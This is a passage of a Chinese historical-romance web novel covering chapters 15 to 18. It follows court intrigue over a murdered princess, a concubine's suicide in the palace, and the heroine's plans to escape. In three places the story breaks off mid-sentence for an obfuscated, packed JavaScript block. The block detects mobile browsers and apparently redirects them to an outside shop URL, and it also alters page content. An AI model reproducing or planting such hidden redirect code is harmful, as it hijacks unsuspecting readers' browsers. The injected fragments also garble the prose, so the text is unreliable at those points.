“代王以为此事该如何处理?”他的声音不徐不疾,分外浑厚。 文士正是赵雍,本来慕容泠准备让自己的人回洛阳面圣,却被独孤策阻止。 若是陈留王回禀,这件事便有兄弟相争之嫌,可若是他前来,那便是国事,慕容桓绝不能潦草处理。 与宇文部大战在即,联姻之事万不能出任何差池。此事一出,足可说明大晋朝廷里有人与宇文部有勾连,此来便要借着晋主的手根除后患。 “回陛下,我王既然将此人交给陛下,便是希望陛下能公允处理。俗话说,疏不间亲,既然此事涉及渤海王殿下,外臣又如何能多加置喙。不过陛下既然决定将公主嫁到我代国,便说明有意与我部族永结秦晋之好,现下……” 他叹了口气,没有继续说下去。 慕容桓又细细看了看手中独孤策亲笔所书的信。骨俏形秀,措辞典雅,这个草原上异军突起的少年,显然并非头脑简单的莽夫。 将此事抛给自己处理,不过就是试探他的态度。 慕容桓是何许人,他早年随着先帝慕容桢一起征战沙场,经历过无数生死,什么事情没有经历过。事情确实需要处理,但却不能被一个初出茅庐的毛头小子就此拿捏。 “先生也知此事事关重大,区区一个人证又能说明什么。待朕派人详查,若真是渤海王所为,朕决不轻饶,必然给代王一个交代,如何?” 说完,又道:“朕既然决定与代王联姻,又怎会因为一个公主出事便就此耽误。先生可知会代王,朕会另择一位公主,代替清河出嫁。” “如此,下臣便替我王叩谢陛下了。”赵雍拱手行礼,从容告退。 慕容桓的态度早在他的预料之中,只是他又要在洛阳待些日子,这些时日宇文部若有异动,大王只能孤身应对。 赵雍不算太担忧,毕竟以独孤策的能力气魄,问鼎天下也是迟早的事,小小宇文部,并不在他们眼中。 他们将来的敌人,还会有很多,譬如此时还富贵无边的大晋。 赵雍的马车辚辚踏过铜驼街,他掀开车帘,想要一睹这座名城的气象。 清风送来柔软的香气,原来道旁桃花已开得极盛,掩映着两侧云集的商贾,鳞次栉比的店铺。 落英缤纷里,人流络绎不绝,有人身着华服,意态悠闲,有人行色匆匆,忙于生计,有人高鼻深目,兜售着手中的奇珍异宝,有人褒衣博带,尽显儒雅风流……到处都是熙攘繁盛的勃勃生机。 他的眼中充满艳羡和慨叹。 河山大好,却不知谁来主宰? 15. 十五、求不得 慕容桓回到后宫,径直去了崇训殿。 身怀六甲的女子捧着一卷书,读得认真。慕容桓示意宫人不要出声,缓缓走到女子身旁,俯身与她一起读了起来。 她是个雅致的人,哪怕不出殿门,衣衫都会严整端雅,上面散着幽幽的香气。 慕容桓俯身,在她的耳后轻轻嗅了嗅。 “今日熏得什么香,这般好闻。” 她早就知道他在身边,故而没有任何惊讶,只是微微挪开身子,蛾眉浅蹙。 “明影,朕日日守着你,你想要什么便给你什么,你好歹给朕一个笑脸,好不好?”慕容桓声音很是温柔,甚至带了些讨好的意味。 这事放在以前,是绝不可能发生的。他并不是什么仁善多情的人,十几岁就被阿父丢在战场上摸爬滚打,刚二十出头就带兵南下,击败了当时最不可一世的名将元天穆,纵火烧了叶城,坑杀三千降卒。 那一战让他声名鹊起,阿兄曾说,他是天生杀神,枭心狼性,若不善加约束,恐有大祸。可那又如何,即使是阿兄那样雄才大略的英雄,到死都拿他无能为力。 他做梦也没想到,自己会在而立之年,栽在一个小女郎这里。 那年她从南地嫁过来时,才刚刚十五岁,却已有才名于天下。 朝野内外都极为重视那场婚事,也许是因为她的出身足够尊贵体面,也许是因为她的出现意味着向大魏俯首称臣了几十年的慕容家,有了与所谓正统平起平坐的实力,也许更是因为南北战事一场又一场,死伤无数,从庙堂到山野,所有人都疲倦了。 慕容桓记得很清楚,那是天奉十一年的初春,她带着一眼望不到尽头的嫁妆,乘船款款而来。当时代表朝廷在江边迎亲的人,是他。 此前他一直好奇,风华绝代的谢侯与那个让皇兄念念不忘的女人生得女儿,究竟是何模样。 尽管对她的美貌已经有了预感,但当微风拂过,掀开了障面的幂离时,慕容桓还是有一瞬间的失神。 “增之一分则太长,减之一分则太短,著粉则太白,施朱则太赤,嫣然一笑,惑阳城,迷下蔡。” 原以为前朝的诗赋写得过于夸张,一见她才知,纸上文字哪里能描摹出美人的半分神韵。 “大晋太原王,侍中慕容桓,见过会稽公主。”他上前行礼。 莲步轻移,她雍容从舟上下来,声音轻灵如莺啭:“殿下有礼。” 一举一动,温婉轻柔,周身气韵仿佛湖上清风,然而神色疏淡,却又渺渺如高山白雪。 可惜,她要嫁的人却不是自己。 那是第一次慕容桓对那个至尊之位产生了兴趣,他想知道命运这双翻云覆雨手掌握在自己这里,该有多痛快。 “明影,等孩子生下来,无论男女,朕都会立你皇后。”慕容桓不理会谢明影的冷淡,拿过她手中的书卷,放在一边,迫着她看向自己。 谢明影脸色不大好,苍白又疲惫,听闻此言只是淡淡反问:“那陛下想如何解释我的身份,是景怀太子的遗孀,还是你宫中一个无名无姓的妇人?” 慕容桓很不喜欢她提起景怀太子慕容澈,对于他而言,那不过是他刀下的亡魂之一,有什么资格让眼前的女人念念不忘。 他的不悦漫过眉间,落在眼底。 “你是大魏的会稽公主,是朕从魏主那里千方百计求娶过来的,这没有什么不能说的。” “真是如此吗?”明影脸上带着一丝嘲讽。她一向温婉宽和,少有这样咄咄逼人之时,可对于这个人,她已经用尽了耐心。 她压抑着那么多的委屈和不甘,几乎快要疯了。 “难道不是吗?”慕容桓眸光锐利,“朕说什么便是什么,谁敢反驳,谁又敢多质疑一个字。” “无人敢言,不过道路以目罢了。防民之口,甚于防川,陛下杀得尽知情之人,挡得住悠悠众口?”明影苦笑,想要拆穿他的自欺欺人之举。 慕容桓却摇头:“朕不用杀他们,因为朕根本不在乎。朕想要立谁为后,不需要经过任何人的同意。” “我阿父绝不会让我受此等羞辱,这个消息传到大魏,我阿父,我阿舅定会兴师北伐。”她从不自矜身份,但她的出身仍赋予了她骨子里的骄傲。 慕容桓的手落在她的发上,轻轻摩挲了几下,宠溺得像在看一个未经世事的孩子:“你阿姊是大魏的皇后,你是大晋的皇后,一门两后,这对于你阿父来说难道不是荣耀?” 见明影不屑一顾,慕容桓又道:“退一万步说,你们南人重名节,他不愿你二嫁,可如今他又有什么办法,别忘了寿阳一战你们死了多少人,你阿舅号称所向无敌,不还是打不过朕吗?傻姑娘,他们的确疼爱你,可他们把社稷放在了你前面,你是南北和平最好的保障。” 他说得都是对的,这些道理明影如何不知,她咬着唇不让自己哭出来,可泪还是忍不住簌簌落下,她抬起衣袖,将那些悲哀的情绪都藏进了华服的纹理纵横中。 “陛下!”一个尖锐的哭声从殿外传来,猝不及防地惊扰了此间安宁。常侍陆安候在殿外,正与崇训殿的掌事宫人说话。听得这一声,吓得汗毛直竖,慌忙上去阻拦。 “卢美人,您这是做什么。陛下不让任何人扰了崇训宫的安宁,这您也是知道的呀!莫要让奴婢为难,奴婢这就让人扶您回去……” 他一叠声地说着,一面吓得脸都白了,生怕这动静被殿内知晓,自己因此受过。 但眼前的女子却如同疯妇,像是全然听不到他说得话,直一门心思往进闯。 “陛下,求您做主,姝儿死得冤枉……陛下……” 卢氏哭得涕泗纵横,早就没了半点宫妃仪态,腰挎横刀的侍卫侧目而望,犹豫着不知该不该上前。 “美人有什么话,奴去通传好不好,快起来,若是惹了陛下生气,咱们都担待不了。”陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572039|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安好言相劝。 说到底也是个失了孩子的母亲,陆安不想为难太多。 他是个八面玲珑的人,矮矮胖胖的样子给人一种很容易亲近的感觉。不同于先帝身边那位沉稳而缄默的常侍万年,陆安在做小黄门时就以个性随和,为人热络出名。太原王践祚,几乎赐死先帝身边的所有亲信,独他扶摇直上,成了新帝身旁最信任的存在。陆安因此越发机警,恨不得生出十个耳朵,十双眼睛出来,以防行差半步。 闹成这样,不通传若是出了事,他也不要活了。于是陆安硬着头皮走到殿内,忐忑地去禀告。 所幸慕容桓没有发怒,只是瞥了一眼临窗读书的明影,犹豫着开了口:“若是你介意,朕去却非殿见她。” 明影仿佛没有听到,面无表情地又将书翻了一页。 “自然,若是你不介意,朕倒是愿意与你一道处理这些宫事。毕竟这些将来可都是皇后的职责,朕不惯处理这些琐事,也好躲个清闲。”他走过去,再一次拿走她手中的书卷,俯下身笑道。 明影渺然望了他一眼,淡淡垂眸,终于肯开口了:“整个北境都是陛下的,陛下在哪里见自己的妃嫔,何须问我一个阶下囚。” 慕容桓料定她会这样回答,但只要她开口,他就觉得欢喜,何况还是这样娇怒的语气。 “这便是答应了。”他笑着揽过明影的肩膀,亲昵地垂首在她耳边,缓声解释道,“这件事朕也觉得棘手,所有证据都指向了泓儿……可他毕竟是长子,朕教导抚育多年,处罚过重,朕于心不忍。” 明影冷冷睨着他,语调里带着嘲讽:“教导抚育多年,还是教出一个残忍狂悖的畜生,手足之情都不顾念……” 慕容桓恼怒她话说得难听,但仔细一想,又找不到任何理由指责,勉强压着怒火,负气般地甩了甩衣袖。 “明影,你若是想骂朕,用不着拐弯抹角。” 明影回过头,见他脸色紫胀,像是极力在压抑着什么,也懒得再刺激他,只是淡淡道:“渤海王杀妹一事,已经传遍后宫,想必用不了多久就会传遍天下。陛下不是要给卢美人一个交代,而是要给天下一个交代,否则,何以服众。” “你从不对朝政之事多加置喙。” “非为朝政,乃为公道。公主为国出嫁,不该是这个下场。” 慕容桓沉吟片刻,从她的话里咂摸出一丝兔死狐悲的悲悯。她定是联系到了自己的经历,所以会如此激愤。 原本没有太大触动。清河并没有讨人喜欢的性子,也没有出众的样貌,甚至连生母也不得他喜欢,很多时候,他都不记得还有这样一个女儿的存在。 出嫁那日,她瘦小的身体匍匐在地上,哭声低低的:“女儿走后,还请陛下珍重身体,勿要挂念。” 寻常的一句场面话,被她说出了千回百转的哀伤。 那个场景依稀在目,慕容桓忽然觉得伤怀,长长叹了口气。 16. 十六、荷包绣 卢氏不受宠,膝下只有一个女儿,在宫中是个温顺如影子般的存在。可是这次,她却匍匐在自己脚下,哭得无比失态。 “姝儿死得冤枉,求陛下为妾做主。”她的声音嘶哑,短短一句,竟像是从心肺里呕出来的一般。 慕容桓皱眉,勉强从她的手中扯出了自己的衣摆。 “美人有话慢慢说,这样成何体统。”下意识地,慕容桓去找寻谢明影的身影,她并未退下,只是坐在光影斑驳处,静静看着此间的一切。 脸上的神色看不分明,但整个人却笼在悲伤之中。 当初下旨让清河嫁到代国时,卢氏便苦苦哀求过。为表安抚,慕容桓将她升为美人,可是卢氏仍怏怏,并为因晋封而欢喜半分。 慕容桓并未将卢氏的喜乐放在心上,可现下清河枉死,不给个交代也说不过去。 他亦伤心,但此事牵涉甚广,不能潦草处理,否则后患无穷。 卢氏注意到慕容桓的目光,哭声更加凄厉了:“姝儿一向懂事,知晓自己要远嫁代国,一句怨言都没有,只是不放心妾在深宫凄苦,又惋惜自己不能承欢膝下,孝敬父母。这样懂事孝顺的孩子,渤海王如何下得了手,他们可是至亲手足啊!” “谁告诉你是渤海王下得手?”慕容桓心生恼怒,消息传得这样快,便是想遮掩也难,让他陷入骑虎难下的境地。 散播这个消息的人,其心可诛! “陛下何苦欺瞒,如今天下谁人不知,渤海王早就和宇文部勾结,杀了姝儿破坏与代国的联姻。现下封阙就在廷尉狱,陛下难道想要包庇?” “卢氏,你放肆了!”慕容桓的声音沉沉压下来,带着不容挑衅的威严。 卢氏微微发抖,一张脸苍白无比。 但下一瞬,她却像横了心,梗起了脖子,一字一句道:“将死之人,哪里顾忌得了那么多。陛下,妾死不足惜,但即使化为厉鬼,也要向渤海王讨个说法。” “你……”慕容桓还想说什么,但是已经来不及了。 崇训殿装饰的金碧辉煌,就连柱子上都雕刻着精美的蟠龙纹,遍贴金箔,饰以宝石,极尽豪奢。可随着一声闷响,那些纵横的纹理间立时有血蜿蜒流过,诡异地沿着缝隙,向四面缠去。 在明影的惊叫声中,卢美人软软地顺着柱子倒下,头上的血洞像是张开的兽口,凄艳,可怖,让人不寒而栗。 谢明影几步跑到她跟前,仓皇将她扶起,声色俱厉地吩咐去唤太医。但她看到那张逐渐灰白下去的脸时,便知这是徒劳。 吓呆的宫人捂着唇,只是一味的哭,这哭声让慕容桓异常烦躁,摆摆手,示意陆安将人拖下去。 他睨着气若游丝的卢美人,眼里蕴着一丝怒气:“何苦这样……” 没有同情,只有嫌恶,嫌恶她不合时宜的哭闹,甚至嫌恶她弄脏了他精心布置的殿宇。 明影看到卢美人眼里的最后一丝光,就这样暗淡了下去。 “多谢你……你真是个善心人,”挣扎着,卢氏握住了明影的手,“能不能求你最后一件事?” 明影泪水潸然,重重点头。 “姝儿死得冤枉,求你……还她一个公道……” 明影不知该不该答应,她不想搅扰在慕容家的琐事中,让自己不得安宁。可是她眼前这个奄奄一息的人,是一个母亲。 她无法拒绝一个为了女儿奋不顾身的母亲。 “好!” 这个字,带给了怀中人最后一丝安慰。“多谢……”一个哽咽的颤音后,再无声息。明影的泪也随之寂静的落下。 …… 渤海王慕容泓被削去王爵,幽禁于王府中,无旨不得探视。 这个消息传到燕关时,贺兰正坐在一树辛夷下绣荷包,阳光被树枝筛得斑驳,稀稀疏疏地落在她的身上。春衫单薄,风一吹,衣袂跟着轻轻晃。她抬头,眯了眯眼眸,躲避着日光的照耀。 素商以为她会很愉快,但她的笑意却明显有些失落和勉强:“没有赐死啊……原来犯了这样大的错,都只是幽禁而已。” “毕竟是晋主的长子。”素商宽慰道。 贺兰摇了摇头:“这可不行,万一哪天他东山再起,又该有多少人遭殃。这样的禽兽,该不得好死……” 说到最后一句,已是咬牙切齿。 “我们……”素商摸不透她的想法,试探着问。 “唉……”她扔了手中的活计,有些心浮气躁。 荷包上疏影横斜的一枝梅,仿佛可以散出幽幽的香气。她女红很好,大半是被逼出来的,阿母出自江南大族陆氏,对女儿有近乎苛刻的要求,不管是诗书礼仪,还是女红书画,她都希望女儿是最出众的那一个。阿父就没那么多要求,只管纵着她,由着她使性子,闹脾气…… 可惜,那种只有淡淡闲愁的日子,终究不会再有了。 “如今那人也有了报应,看来连老天都在帮着咱们。娘子莫要多想,更不要委屈自己。”槐序仍旧心直口快,笑盈盈地捡起了地上的荷包。 果真是老天帮忙么,她不信,这么多年若老天垂怜,她不该过得这样艰难。慕容泓能落得这样的下场,分明是她的手笔。可惜她还是太稚嫩,没能一招毙命。 “扔了吧,绣得怪难看的,我不要了。”贺兰赌气,嫌恶地拿过那只月白色的荷包,随手扔在了旁边的草丛中。 一双乌皮靴恰在此时踏到芳草之上,俯身捡起荷包,骨节分明的手停在贺兰的眼下,大有不依不饶的气势。 “这般精巧,扔了多可惜。”声音有些低沉,听着却也温柔。 贺兰连头都没有抬,只盯着他伸过来的手,心里有些慌乱,面色却不显。 “绣坏了,没必要再留恋。” 她敷衍的回答,听在对方耳中,却有了另一层意思。 “人也是如此吗?”独孤策问。 “什么?”贺兰抬头,尚未明白他的意思,手却被攥到了对方手中。独孤策强硬的将荷包塞回到她的手中,不给她拒绝的余地。 “绣坏了,未必没有补救的可能,为什么不试试?”他深邃的眉眼里含着一分期待之色,殷殷地不像他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585508|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 若是再听不懂,那便是傻子了。 贺兰抽回自己的手,白皙的肌肤上已经有了一层红印,她轻蹙双眉,显得不大高兴:“换个新的,不是更方便吗?” 明知她嘴硬,但还是动了怒。若她真的对他毫无依恋,这些日子的相处又算什么,他依着她的话,一步步帮她除掉慕容泓,她就想这样便撇清关系? 以前怎么没发现,她是这样谋算人心的高手。 忍不住扯过她的胳膊,将她迫到自己的胸口,话语中多了些咬牙切齿的怨气:“贺兰荻,孤不是那般好招惹的,你既然答应了回到孤身边,就该好好践诺。否则……” “又当如何?”她轻蹙双眉,眼里泛起了泪花,“我都不知何时答应过大王这个要求,如果让大王念在过往情分上帮个小忙就算招惹,那我无话可说。” 说着说着,眼睛就越发红了。 “听说晋帝又要嫁一个公主给大王,若我回去,又该用什么身份?是妾……还是奴婢……” 声音哽咽,泪水满面。 她委屈起来,真是让人招架不住。独孤策心里纠缠起千般酸楚,万般愧疚,只觉得当初匆忙离开,成了自己最不该饶恕的罪过。可是既然大错已经铸成,他只盼着能有回旋的余地,毕竟当年他也有许多情非得已。 伸手将她揽过,紧紧圈在了怀中。她的身上总有淡淡的花香,与当年一般无二。 “给我一些时间吧,阿荻,我不会再委屈你……” 他说得赤诚,但贺兰却一个字都不会信。男人总是有一些虚妄的誓言,不管说话时多么动情,都不过是一时的冲动。或许当时是真的,事后也会犹豫后悔,毕竟在他们眼中女人心肠柔软,实在好骗极了。 她却不是这样,她只相信握在手中的东西,未来如何,谁能说得准。她连独孤宗绪都懒得敷衍,更别说曾背信弃义过的独孤策。 “大王自有鸿鹄之志,不该纠结于儿女情长。”她推开独孤策,踉跄着逃离,仓皇间荷包掉落,沾在泥土上,污损了一大片。 独孤策没有去追,只是沉默着向前几步,弯腰将其捡起。 …… “这是做给我的么?”一日晚归,他指着她手中的荷包问道。灯火昏昏,她认真地在灯下飞针走线,听到他的声音,悚然抬起了头,有些惊慌。 “你的女红真好。”他又夸奖了一句,想要拿在手中细细端详。 可她却倏然缩回了手,将东西紧紧揽在自己的胸前。见他有些尴尬,又极快的摇了摇头,指了指她自己。 充满戒备和疏离的眼神,仿佛一盆冷水,浇在了他的头上。 相处不算短,哪怕聚少离多,也不该生分至此。独孤策不免失望,讪讪缩回了手,嗓子有些发干:“不过是逗你呢,这个颜色,我不大喜欢。” 她没说什么,缩在一角,继续起了自己的活计,显然并不愿意搭理他。 独孤策想起了,那个荷包,也是这样的颜色…… 独孤策苦笑一声,掸了掸上面的尘土,将它揣到了怀中。 17. 十七、去意决 “这里是一天都待不下去了。”频繁在后院遇到独孤策,贺兰心里很不安。她依稀窥到对方眼中暧昧的情愫,仿佛又如当年重现。 当年……他也曾喜欢过自己吧。可惜,那时她离家去国,漂泊于异族,自厌自弃到了极点。 那时为了苟活,她不得不卖了自己,投了贺兰部,连本来的姓名都失去了。无从选择,她只能用沉默去反抗,索性装了哑巴,也好过在一个陌生人面前强颜欢笑。 “娘子作何打算?”素商停下了手中的活计,走到贺兰身边,蹲下身子,低声问道。 她是被乞伏那归带到这里,送到独孤宗绪身边的,更准确的说,这是都是慕容泓的主意。既然这里的一切都结束了,她没有道理继续留下来。可是她也清楚,既然踏入了这个泥潭,她没有轻易抽离的可能。 难道真就安心留在这里么?或许也可以。独孤宗绪待她尚可,在他的后宅苟安着,也许能有短暂的太平日子过。她不必再像货物一般,流离辗转,受尽苦楚。 可是她又很不甘心。以前没有选择,现在好容易拜托了那个恶魔的控制,可以自己选了,她不想就这样将就着过下去。 “我们要去洛阳找可汗吗?”素商见她半晌没有回答,试探着问道。 洛阳么……也不是不可以,只是她并不是要去投奔贺兰越。早在被送给慕容泓时,她便将恩情都还上了,她不欠他什么了。 “先去安排着,不要让人察觉。”贺兰对素商轻声道,“去请王医女来,就说我犯了咳疾。” 素商知道王医女就是环夫人,不再多言,起身去照办。 可是贺兰久久没等到环夫人到来,却等来了独孤宗绪。如今她的身份仍是他的侍妾,他夤夜出现在她的房中,也没什么奇怪的。 是贺兰自己觉得别扭。 “贺兰有心事?”独孤宗绪除了外袍,站在了贺兰身边,极自然地握住了她的手。他的身上残着几丝酒气,脸上也晕红一片。 贺兰瑟缩了一下,抬起双眸,不安地看着对方。 “咳疾又犯了,”她作势咳了几声,眼睛有些泛红,“一时失礼,还望将军莫要见怪。” 独孤宗绪低笑,摸了摸她的肩膀。她穿得单薄,肌肤微微透着凉意,独孤宗绪忍不住要将她揽入怀中。 贺兰并未顺从地倚在他的胸口,轻轻推拒着,口中道:“医女未到,还不知是什么症候,若是把病气过给了将军,那就是妾的不是了。” 语调委婉,动作却决绝。 独孤宗绪默默看着她,脸色却算不得好看。 “不知症候,就笃定只有王医女一人可看,我还当是你的侍女执拗,原来是阿荻的吩咐。”独孤宗绪轻笑,眸中带着莫测的情绪。 “什么?”贺兰藏起心里的不安,故作疑惑,但是指尖已经冰凉一片。 “没什么,大王今日也略有不适,特地请王医女去诊脉了。”他将特地二字要的重,分明是在提醒贺兰什么。 贺兰心里乱成一片,根本没有听出他弦外之音。 独孤策生病,何必要找医女,还是指名要化名为王医女的环夫人,他究竟发现了什么,亦或是有其他的图谋…… 看着她魂不守舍的样子,独孤宗绪越发证实了心里的猜测:她与独孤策一直有勾结,而且一直在他眼皮子底下。 他的脸色越发不豫,心里有股邪火在燃烧,灼得五脏六腑都难受。 “天色不早了,安置吧。”他忽然道,然后扳过了贺兰的身子,俯身就要去吻她的唇。那样娇艳的颜色,那样甜蜜的气息,难怪有让人念念不忘的本事。 贺兰还沉浸在思考中,不期然就被他禁锢起来,他的气息凌乱地侵袭而来,带着不容拒绝的强硬气势。 她本能地伸手,猛地将他推开。 或许没有料到她会如此直接的拒绝,独孤宗绪竟然被她推得一个踉跄,向后退了几步。这样的姿态太过狼狈,独孤宗绪的心里立时就涌上了巨大的怒意。 “你之前的温柔和顺呢……怎么连装都不装了?”独孤宗绪冷笑。 “将军误会了,妾只是有些不舒服……”这个解释太过苍白,苍白的独孤宗绪都听不下去。 “既然不舒服,就待在屋中安心养病,不要出去走动了。”独孤宗绪隐忍着怒气,隐忍地脸色都有些发青,才勉强没有大发雷霆,失了理智。 他心里清楚,贺兰是个弱女子,一切都是独孤策纠缠在先,一切都是他的错…… 贺兰听到要被禁足,心下有些发慌,这无疑打乱了她的计划,加大了她出逃的难度。于是咬了咬牙,准备服个软,让独孤宗绪收回成命。 可惜,他并未被她努力挤出的婉转笑容打动,只是淡淡道:“阿荻,我给过你机会,是你自己要留下的。我这个人一向重诺,也希望你不要食言。” 她何曾说要留下…… 贺兰苦笑,对着他拂袖离开的背影,暗自皱眉。 独孤宗绪一向温和,他今日这般反常,也不知是在哪里受了气,莫名把这股邪火发在自己这里了。 果然步步艰难,是时候离开了。 …… 等了两日,丝毫没有环夫人的消息,而她也被困在了这方寸之地。 贺兰的焦虑越来越明显,连身边的侍婢都注意到了。 “娘子可是想要出门?”槐序在替她梳妆时,忽然问道。 虽说放在身边,到底也不是知根知底的心腹,贺兰并没有将自己的想法告诉过槐序,所以听她如此问,也只能含糊的点了点头。 “娘子其实不用着急,前几日听膳房的丫头说,大王他们住不了太久,过几日便要回抚远城的。” 独孤策要走?这的确是个好消息。 “听说大王准备带着乐陵公一同回去,燕关另派人驻守。” 独孤宗绪也要走…… 那留给她的时间,真得不多了! “也不知道抚远城大不大?应该比燕关要好些吧……”槐序还在念叨,贺兰的心思却早就飘了。 “槐序,你好好想想,这个院子还有没有角门什么的……”贺兰忽然抬头,问道。 “娘子是想……”槐序压低了声音,“若是被主公知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598470|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,那可怎么得了!” 贺兰皱眉,有些委屈:“我不过是想去找他,总这么被他冷落着,时间久了我心中不安。” 槐序深以为然,虽说乐陵公并不算好色之人,但他这样的身份,身侧空虚久了,难免有人窥伺。俗话说,见面三分情,总这么疏远着,的确让人不安。 “娘子往西走,绕过西边的那排屋子,后面有个门,却也算不得角门,就是下人为方便出入,自作主张留的。”槐序如实道,说完又惴惴,“娘子当真是去寻主公么?可千万要注意安全,莫要生其他枝节。” 贺兰满口答应着,又摘了一支钗环下来,递到了槐序手中:“这次多亏有你,解了我燃眉之急。” 槐序想要推拒,但贺兰却笑:“得了将军宠爱,这些东西还会少么?” 她笑得时候,娇媚惑人,槐序都怔了一瞬,不由红了脸。 …… “娘子不打算等环夫人了吗?”素商和环夫人不熟悉,甚至说她都不知道环夫人的真实身份是什么,但她能感觉到,这两人情分匪浅,牵连甚深。 环夫人去为代王诊脉后便失了消息,怎么看都不寻常,她以为贺兰会再等一些时日,或者直接去找代王要人。 但她却告诉自己,明日夜里只带着她离开。 “独孤策算不得嗜杀之人,他与环夫人无冤无仇,何必为难她,不过是疑她是个细作。我有办法让他放人,到时,以她的功夫,很快就能与我们汇合。” 听着的确很有道理。 贺兰阖上手中的书,睨了眼窗外繁花团簇的树,眼中流转出几分寂色。见素商不再多言,只是默默看着自己,叹道:“其实你也不用跟着我的,外面世道乱得很,此番离开,福祸未定,没必要带你受苦。” “那娘子为何要离开呢?”素商问。 这一次,她的回答有些混沌:“原是为了讨个生计,可这些年生计有了,却再也没有家了。” 素商知道,她是南边的人,来到贺兰部不过是机缘巧合。她想回家很正常,可是战火绵延着大半河山,她的家还在吗? “乐陵公或许可以托付终身,娘子不考虑么?”这些话明显越了主仆之分,但贺兰此时的脆弱和孤寂,却给了素商这样倾心交谈的勇气。 果然,听到这句话,她愣了一会儿,像是极慎重地在思索着这个选择。但思索的结果,却是一个缓缓的摇头。 “我曾嫁过独孤策,如今若是再嫁他的叔父,那岂不是与禽兽无异。先前不过是情势所逼,免不了虚与委蛇,可如今再无人迫我,我又何必自甘下贱。”她银牙轻咬,说话间像是想到了什么,眼中水波轻颤,眼底红成一片。 “这在草原,没什么的,司空见惯的事儿。”素商宽慰道。 贺兰却摇头:“可我是中原人,我阿母教过我礼义廉耻,我为了活着已经舍弃太多,断不会再没了底线,不然我还有什么颜面去见他们。” “天下男子何其多,难道非独孤氏不可……” 说完,一行清泪蜿蜒而落,可她却倔强的用手拭去,不肯纵容自己的悲伤继续。 18. 十八、争锋对 独孤策以为贺兰已是自己见过最固执的女子,却不想这个身份可疑的医女比起她来不遑多让。 早在她频繁出入太守府时,他们就注意到她了。 说是医女,却显然身怀武艺,说是本地人士,却带着南地口音,说是为贺兰诊脉而来,但言谈举止却熟稔非常……太多疑点,出现的也太过蹊跷。独孤宗绪一向精明,这次却允许这样一个浑身都是疑点的人频繁出入府中,难道真是疏忽? 他睨着跪在不远处一脸视死如归的女子,揉了揉额心,懒得和她再多周旋:“孤想查明你的身份也不是难事,不过看在贺兰的面子上,想给你个机会。你若是自己说了,也少些皮肉之苦,不然孤手下这些人……可不像孤这般好说话。” 他轻叩几案,不一会儿便进来一个人,黄瘦干枯,像个痨鬼。 “阿那罗,通常对于这种嘴硬的人,你们是如何处理的?”独孤策找了个闲适的坐姿,漫不经心道。 他五官生得冶艳浓郁,本就有不近人情的感觉,此刻就这样闲闲的垂着眼,越发让人猜不透他的想法了。 阿那罗狱吏出身,手里自有千般折磨人的花样,可对着这个匍匐在地的寻常妇人,他竟有些下不了手。观察着独孤策的神色,应当只是为了吓唬人,于是便将那些酷刑一一列举,让听得人只觉不寒而栗。 可是,这妇人却像是活死人一般,仍旧没有丝毫反应。 这般心志,越发像个死士了。 阿那罗悄然抬眼,等着独孤策下一步的指示。 独孤策以手支颐,也不知在想些什么,片刻后才忽然摆了摆手道:“孤没有时间耗在这里,阿那罗你看着办吧,问的出来最好,问不出来就直接活埋了。” 说着,人就已经踱步而出。 院中的桃花陆陆续续开了,繁炽娇艳,像是夺了整片春光,让其他花木都失了颜色。他在花树下略站了片刻,几片花瓣随风轻旋,依依落在他的肩头。 他忽然想起,自己好像已经有几日未见到贺兰了。 她身上带着南人的调子,喜欢赏花看月,习惯悲春伤秋,他很早就发现了。春色如许,她没道理将自己闷在屋中。 勾了勾手,贴身侍从木咄立时就迎了上来,弓身听他吩咐。 “西园那边……” 他还没说完,木咄就猜到他的意思,笑着接了话:“奴已经打听过,贺兰娘子生了寒疾,这几日出不了门,一直关在屋中养病呢。” “病了?”独孤策眉心一蹙,“可要紧?” “说是没什么大碍,但是乐陵公不让她出门。”木咄神神秘秘地压低了声音,“听说娘子非要让王医女诊治,为此惹恼了乐陵公,干脆不给她派医女去了。” “这像什么话……”乍听之下,独孤策生了几分怒意。她脾气虽拗,身体却娇弱,不让医女去看看怎么行。 不过转瞬,又想到了什么,移向院外的脚顿了一下。 “你说是贺兰执意让王医女医治?” “确实如此,也不知这点小事怎么就让乐陵公动了怒,还给禁足了。” 独孤宗绪到底在怀疑什么……这么想来这个形迹可疑的医女倒像是贺兰的人。独孤策抱臂想了想,抬脚踢了下木咄,道:“去阿那罗那里把那个医女带回来,务必要毫发无伤。” 木咄发了蒙,明明方才是大王亲口吩咐的,要严审那医女,怎么说了几句话就变卦了。但独孤策的心思他一向捉摸不透,也不敢乱猜,于是应声就跑去追人了。 